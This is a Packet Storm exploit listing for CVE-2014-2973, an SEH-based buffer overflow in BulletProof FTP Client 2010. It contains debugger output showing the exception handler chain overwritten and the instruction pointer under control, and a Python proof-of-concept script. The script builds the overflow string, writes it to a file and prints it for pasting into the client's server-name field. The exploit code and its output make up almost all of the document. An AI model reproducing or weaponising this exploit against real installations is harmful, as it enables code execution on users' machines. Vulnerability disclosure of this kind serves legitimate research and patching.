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BulletProof FTP Client 2010 Buffer Overflow

🗓️ 25 Jul 2014 00:00:00Reported by Gabor SeljanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

BulletProof FTP Client 2010 Buffer Overflow exploit, causing access violation and code c0000005 on Windows XP SP

Related
Code
`#-----------------------------------------------------------------------------#  
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) #  
# Date: Jul 24 2014 #  
# Exploit Author: Gabor Seljan #  
# Software Link: http://www.bpftp.com/ #  
# Version: 2010.75.0.76 #  
# Tested on: Windows XP SP3 #  
# CVE: CVE-2014-2973 #  
#-----------------------------------------------------------------------------#  
  
'''  
(a00.9e4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=41414141 ebx=41414141 ecx=007ef590 edx=00000000 esi=017a4f6a edi=017a516a  
eip=005c005b esp=0012f594 ebp=0012f610 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for bpftpclient.exe -  
bpftpclient+0x1c005b:  
005c005b f6431c10 test byte ptr [ebx+1Ch],10h ds:0023:4141415d=??  
0:000> !exchain  
0012f59c: bpftpclient+1c044e (005c044e)  
0012f5a8: bpftpclient+1c046b (005c046b)  
0012f618: 43434343  
Invalid exception stack at 42424242  
0:000> g  
(a00.9e4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000  
eip=43434343 esp=0012f1c4 ebp=0012f1e4 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
43434343 ?? ???  
'''  
  
#!/usr/bin/python  
  
junk1 = b'\x41' * 89  
nSEH = b'\x42' * 4  
SEH = b'\x43' * 4  
junk2 = b'\x44' * 1000  
  
sploit = junk1 + nSEH + SEH + junk2  
  
try:  
print('[+] Creating exploit file...')  
f = open('sploit.txt', 'wb')  
f.write(sploit)  
f.close()  
print('[+] Exploit file created successfully!')  
except:  
print('[!] Error while creating exploit file!')  
  
print('[+] Use the following as Server Name/IP with any user\'s credentials!')  
print(sploit.decode())  
  
`

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